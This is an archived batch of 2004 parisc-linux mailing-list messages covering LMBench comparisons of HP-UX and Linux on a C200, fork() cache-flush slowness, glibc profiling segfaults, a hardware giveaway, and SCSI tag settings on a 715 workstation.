vega      Linux 2.4.24- 3.410  52.8 46.4  73.4 234.9  92.4 304.5 9958

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot   
Page	
                        Create Delete Create Delete  Latency Fault  
Fault 
--------- ------------- ------ ------ ------ ------  ------- -----  
----- 
vega      HP-UX B.10.20  14.1K 8403.4  20.8K 8474.6  7834.1K  24.1  
10.7K
vega      HP-UX B.10.20  13.9K 8333.3  20.8K 8474.6  7857.6K  25.6  
10.7K
vega      HP-UX B.10.20  13.9K 8333.3  20.8K 8474.6  7817.5K  29.9  
10.7K
vega      Linux 2.6.0-p  381.4   95.2 1097.7  225.4    78.0K 2016.   
30.0
vega      Linux 2.6.0-p  378.9   95.2 1262.6  226.3    77.1K 2117.   
30.0
vega      Linux 2.6.0-p  376.5   94.9 1273.9  223.9    76.5K 2049.   
30.0
vega      Linux 2.4.24-  361.1  117.2 1087.0  228.3    72.8K 1619.   
28.0
vega      Linux 2.4.24-  361.4  117.2 1634.0  229.9    73.4K 1638.   
29.0
vega      Linux 2.4.24-  361.3  116.8 1319.3  232.2    73.3K 1638.   
28.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem  
Mem
                             UNIX      reread reread (libc) (hand) read
write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ----
-----
vega      HP-UX B.10.20 168. 102. 88.1  103.0  137.6   79.1   63.7 122.
102.3
vega      HP-UX B.10.20 179. 99.5 97.7  101.4  136.3   85.0   64.1 121.
104.7
vega      HP-UX B.10.20 180. 102. 108.  103.2  136.2   82.2   63.7 122.
102.8
vega      Linux 2.6.0-p 19.4 19.9 5.65   31.4  246.4  126.0  129.4 249.
215.2
vega      Linux 2.6.0-p 19.5 20.2 5.67   31.4  245.8  125.9  129.4 249.
214.8
vega      Linux 2.6.0-p 19.4 20.2 5.86   31.4  245.6  125.8  129.4 249.
214.6
vega      Linux 2.4.24- 19.6 19.8 9.02   32.0  246.7  125.8  129.5 249.
215.3
vega      Linux 2.4.24- 19.6 19.7 9.50   31.7  246.4  126.0  129.4 249.
215.1
vega      Linux 2.4.24- 19.6 19.8 9.40   35.5  246.2  125.9  129.4 249.
214.9

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
vega      HP-UX B.10.20   200  15.0   15.0  539.0    No L1 cache?
vega      HP-UX B.10.20   200  15.0   15.0  592.3    No L1 cache?
vega      HP-UX B.10.20   200  15.0   15.0  581.0    No L1 cache?
vega      Linux 2.6.0-p   200  15.0   15.0  284.7    No L1 cache?
vega      Linux 2.6.0-p   200  15.0   15.0  284.6    No L1 cache?
vega      Linux 2.6.0-p   200  15.0   15.0  284.7    No L1 cache?
vega      Linux 2.4.24-   200  15.0   15.0  284.8    No L1 cache?
vega      Linux 2.4.24-   200  15.0   15.0  284.6    No L1 cache?
vega      Linux 2.4.24-   200  15.0   15.0  284.8    No L1 cache?




From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LMBench results on for the C200 for HP-UX 10.20,
	Linux 2.4.24-pa0, and Linux 2.6.0-pa8
Date: Wed, 07 Jan 2004 10:43:59 +0100
Organization: Carduus
Lines: 104
Approved: news@gmane.org
Message-ID: <3FFBD4DF.ECB0ABBC@tiscalinet.it>
References: <1073466464.752.112.camel@laptop.bradetich.net>
Reply-To: rollei@tiscalinet.it
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623109 4348 80.91.229.3 (22 Nov 2014 02:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ryan_bradetich@hp.com
Original-X-From: rollei@tiscalinet.it  Wed Jan  7 02:42:47 2004
Return-Path: <rollei@tiscalinet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88B524891
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 02:42:47 -0700 (MST)
Original-Received: from tiscalinet.it (151.38.68.2) by smtp0.libero.it (7.0.020-DD01)
	(authenticated as zuse@libero.it)
	id 3F6F1CE701ED0033; Wed, 7 Jan 2004 10:42:43 +0100
Original-Sender: multix@dsl2.external.hp.com
X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 09:42:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20570

Ryan Bradetich wrote:
> 
> Hello all,
> 
> Thought people might be intersted in the LMBench results between HP-UX
> 10.20, Linux 2.4 and Linux 2.6.  All tests were performed on the same
> hardware and not optomized in any way for the tests.
Yes, very interesting. I'm using gentoo with a 2.4 kernel and felt the
box sooo slow sometimes while other times it seems reasonable.
For example doing setiathome crunching linux is 40% slower. Or
compilation is awfully slow (big projects like gcc 3.2.2 can take 2-3
times the time on hp-ux 10.20).

It seems that in some "traditional" unix areas HP-UX is faster while in
other it is slower.


> ----------------------------------------------------------------
> Host                 OS  Mhz null null      open selct sig  sig  fork
> exec sh
>                              call  I/O stat clos TCP   inst hndl proc
> proc proc
> --------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ----
> ---- ----
> vega      HP-UX B.10.20  200 0.83      26.1 36.0 200.6 7.97 30.2 1905
> 5220 19.K
> vega      HP-UX B.10.20  200 0.83      24.5 36.0 147.4 7.92 30.0 1910
> 5133 19.K
> vega      HP-UX B.10.20  200 0.83      24.3 36.3 145.0 7.90 29.9 1924
> 5258 19.K
> vega      Linux 2.6.0-p  200 1.46 2.45 14.4 19.3 150.3 5.65 28.9 5353
> 21.K 66.K
> vega      Linux 2.6.0-p  200 1.44 2.43 14.4 18.1       5.63 28.9 5344
> 21.K 65.K
> vega      Linux 2.6.0-p  200 1.46 2.45 14.4 18.1 149.8 5.65 28.8 5492
> 23.K 65.K
> vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.2 4.96 29.2 10.K
> 42.K 111K
> vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.0 4.97 29.2 11.K
> 42.K 111K
> vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.2 4.97 29.0 11.K
> 42.K 111K
HP-UX fork is fast! linux 2.6 seems to bring some relief here. I always
marvel how fast HP-UX is when responding to a telnet login.
Instantaneus. Probably fork() speed compensates the lower latency linux
has in other areas.

 

> 
> *Local* Communication latencies in microseconds - smaller is better
> -------------------------------------------------------------------
> Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
>                         ctxsw       UNIX         UDP         TCP conn
> --------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
> vega      HP-UX B.10.20 9.110  48.7 78.7 117.6 500.2 127.5 300.2 313.
> vega      HP-UX B.10.20 9.510  47.0 65.6 115.0 464.2 166.3 734.1 284.
> vega      HP-UX B.10.20 9.230  47.9 77.5 112.4 506.4 127.1 325.6 300.
> vega      Linux 2.6.0-p 4.830  36.9 53.3  80.7 235.8 109.6 251.7 490.
> vega      Linux 2.6.0-p 4.530  31.7 53.5 140.2 230.2 108.0 286.3 469.
> vega      Linux 2.6.0-p 5.670  36.6 54.0 143.1 232.5 107.9 283.5 483.
> vega      Linux 2.4.24- 2.120  57.1 46.4  73.5 226.9  93.5 300.2 9958
> vega      Linux 2.4.24- 3.490  60.7 46.3  73.2 238.7  97.0 299.6 9957
> vega      Linux 2.4.24- 3.410  52.8 46.4  73.4 234.9  92.4 304.5 9958

seems that for AF_UNIX and TCP pipes 2.42. UDP is almost the half than
2.6

 
> *Local* Communication bandwidths in MB/s - bigger is better
> -----------------------------------------------------------
> Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem
> Mem
>                              UNIX      reread reread (libc) (hand) read
> write
> --------- ------------- ---- ---- ---- ------ ------ ------ ------ ----
> -----
> vega      HP-UX B.10.20 168. 102. 88.1  103.0  137.6   79.1   63.7 122.
> 102.3
> vega      HP-UX B.10.20 179. 99.5 97.7  101.4  136.3   85.0   64.1 121.
> 104.7
> vega      HP-UX B.10.20 180. 102. 108.  103.2  136.2   82.2   63.7 122.
> 102.8
> vega      Linux 2.6.0-p 19.4 19.9 5.65   31.4  246.4  126.0  129.4 249.
> 215.2
> vega      Linux 2.6.0-p 19.5 20.2 5.67   31.4  245.8  125.9  129.4 249.
> 214.8
> vega      Linux 2.6.0-p 19.4 20.2 5.86   31.4  245.6  125.8  129.4 249.
> 214.6
> vega      Linux 2.4.24- 19.6 19.8 9.02   32.0  246.7  125.8  129.5 249.
> 215.3
> vega      Linux 2.4.24- 19.6 19.7 9.50   31.7  246.4  126.0  129.4 249.
> 215.1
> vega      Linux 2.4.24- 19.6 19.8 9.40   35.5  246.2  125.9  129.4 249.
> 214.9

traditional pipe, af_unix and TCP are impressive for hp-ux. Really up to
ten times the bandwidth?. But memory is clear an advantage for linux.


Thanks for the testing.

-R


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LMBench results on for the C200 for HP-UX 10.20,
	Linux 2.4.24-pa0, and Linux 2.6.0-pa8
Date: Wed, 7 Jan 2004 02:14:07 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20040107101406.GS533@tausq.org>
References: <1073466464.752.112.camel@laptop.bradetich.net>
	<3FFBD4DF.ECB0ABBC@tiscalinet.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623110 4349 80.91.229.3 (22 Nov 2014 02:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:10 +0000 (UTC)
Cc: ryan_bradetich@hp.com, parisc-linux@lists.parisc-linux.org
To: Riccardo <rollei@tiscalinet.it>
Original-X-From: randolph@tausq.org  Wed Jan  7 03:06:34 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 136944891
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 03:06:34 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0C085CD294; Wed,  7 Jan 2004 02:14:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3FFBD4DF.ECB0ABBC@tiscalinet.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 10:06:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20571

> HP-UX fork is fast! linux 2.6 seems to bring some relief here. I always
> marvel how fast HP-UX is when responding to a telnet login.
> Instantaneus. Probably fork() speed compensates the lower latency linux
> has in other areas.

The reason why fork() is so slow on palinux is that we flush the entire
cache for each fork() operation. this is clearly a very bad thing.
unfortunately this doesn't seem like a simple thing to fix. From some
previous discussions it seems like we don't need to do the cache
flushing for fork(), but when i got rid of it the system crashes very
quickly. Possibly the per-fork cache flush is masking other bugs in the
kernel cache flushing infrastructure.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@pobox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C200 available to good home (Pittsburgh area)
Date: Wed, 7 Jan 2004 09:45:32 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <2565E4DE-4120-11D8-B05F-003065E3225C@pobox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v609)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623110 4351 80.91.229.3 (22 Nov 2014 02:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: dhd@pobox.com  Wed Jan  7 07:45:37 2004
Return-Path: <dhd@pobox.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out003.verizon.net (out003pub.verizon.net [206.46.170.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80DD44891
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 07:45:37 -0700 (MST)
Original-Received: from [192.168.0.100] ([141.158.106.240]) by out003.verizon.net
	(InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP
	id <20040107144536.BFFO20713.out003.verizon.net@[192.168.0.100]>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jan 2004 08:45:36 -0600
X-Mailer: Apple Mail (2.609)
X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from
	[141.158.106.240] at Wed, 7 Jan 2004 08:45:36 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 14:45:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20572

Hello,

I have a C200 which I had planned to do some porting work on.  
Unfortunately it just doesn't seem like I will ever have time to work 
on PA-Linux stuff in the future, and so the thing is just taking up (a 
lot) of space.  Is there anyone out there who could put this to better 
use?  I don't want to sell it, just pass it on to someone who I know is 
going to use it for development purposes.

I'd prefer someone local (I'm in Pittsburgh, Pennsylvania, USA) because 
it's quite big and heavy (yes, I know, it's a "workstation", but 
still).

It is quite loaded down with RAM and multiple video cards and would be 
good for someone doing X11 or framebuffer work.

Please Cc: me on any replies to the list ... thanks.



From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Wed, 7 Jan 2004 16:04:25 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200401072104.i07L4Pr1014569__31746.9345442534$1416623111$gmane$org@hiauly1.hia.nrc.ca>
References: <20040105194809.GA9269@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623111 4363 80.91.229.3 (22 Nov 2014 02:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan  7 14:04:30 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A74684868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 14:04:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i07L4QIc014570; Wed, 7 Jan 2004 16:04:26 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i07L4Pr1014569;
	Wed, 7 Jan 2004 16:04:25 -0500 (EST)
In-Reply-To: <20040105194809.GA9269@systemhalted> from "Carlos O'Donell" at
	Jan 5, 2004 02:48:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 21:04:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20573

> glibc 2.3.2.ds1-10
> 
> - Added profiling patches (Thanks Randolph!)

The GCC profiling tests still segfault.  It looks like crtn.o
hasn't been updated.  Did I miss something?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Wed, 7 Jan 2004 16:14:16 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200401072114.i07LEHfa014617__22725.7942817689$1416623111$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623111 4367 80.91.229.3 (22 Nov 2014 02:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:11 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan  7 14:14:23 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8398D4868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 14:14:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i07LEHIc014618; Wed, 7 Jan 2004 16:14:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i07LEHfa014617;
	Wed, 7 Jan 2004 16:14:17 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Jan 7, 2004 04:04:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 21:14:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20574

> Did I miss something?

Yup.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scsi problem on a scorpio (715)
Date: Thu, 08 Jan 2004 00:45:25 +0100
Organization: Carduus
Lines: 28
Approved: news@gmane.org
Message-ID: <3FFC9A15.6FA66B2@tiscalinet.it>
Reply-To: rollei@tiscalinet.it
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623111 4370 80.91.229.3 (22 Nov 2014 02:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:11 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: rollei@tiscalinet.it  Wed Jan  7 16:44:10 2004
Return-Path: <rollei@tiscalinet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 137154868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 16:44:10 -0700 (MST)
Original-Received: from tiscalinet.it (151.38.68.2) by smtp1.libero.it (7.0.020-DD01)
	(authenticated as zuse@libero.it)
	id 3F6F0E4801F0CF53 for parisc-linux@lists.parisc-linux.org;
	Thu, 8 Jan 2004 00:44:39 +0100
Original-Sender: multix@dsl2.external.hp.com
X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 23:44:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20575

Hello,

I had a lot of problems using linux on that box (I'm using gentoo,
2.4.23 series)

The problems manifest themselves in the following ways:

A lot of different HD's (even HP spare parts) freeze up the kernel
during mkfs.
I got the box then worning with a luck of getting two disk formatted.
The stability was not very high. Sometimes it compiled for 50 hours, but
sometimes when the disk grinded more... freeze.
Guy Martin suggested me to change the TAG default value in the NCR
53x700 driver from 16 to 8 since that is what HP used. I didn't get a
big improvment. I still have one of the inriminated disks. Issuing
several mkfs (usually the second) freezes the kernel.

Today during emerge sync the system freezed. I rebooted and the computer
zasn't responding to ssh or ping. When I hooked up a monitor I got a
hole load of errors clearly related to scsi.

I toke a picture of the monitor.

http://dev.gentoo.org/~gmsoft/pics/scsi-failure.jpg


-Ric


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Wed, 7 Jan 2004 22:30:30 -0400 (AST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
References: <3FFC9A15.6FA66B2@tiscalinet.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623111 4371 80.91.229.3 (22 Nov 2014 02:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:11 +0000 (UTC)
Cc: parisc linux <parisc-linux@lists.parisc-linux.org>
To: Riccardo <rollei@tiscalinet.it>
Original-X-From: lists@fop.ns.ca  Wed Jan  7 19:30:37 2004
Return-Path: <lists@fop.ns.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 320174868
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 19:30:37 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AePwN-0001Ph-00; Wed, 07 Jan 2004 22:30:31 -0400
X-X-Sender: lists@brain.fop.ns.ca
In-Reply-To: <3FFC9A15.6FA66B2@tiscalinet.it>
Original-Sender: Mailing Lists <lists@fop.ns.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 02:30:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20576

Hi,

On Thu, 8 Jan 2004, Riccardo wrote:

[snip]
> A lot of different HD's (even HP spare parts) freeze up the kernel
> during mkfs.
[snip]
> Guy Martin suggested me to change the TAG default value in the NCR
> 53x700 driver from 16 to 8 since that is what HP used. I didn't get a
> big improvment. I still have one of the inriminated disks. Issuing
> several mkfs (usually the second) freezes the kernel.

I had a similar problem and fixed it by setting tags to 8 (my problem
drive is a Quantum Fireball). Grant Grundler mentioned that "as of 5 years
ago, HP-UX default was 8 for servers and 2 for workstations"; as the 715
is a workstation it might be worth trying setting tags to 2 and seeing
what happens?

What drives have you tried, out of curiosity?

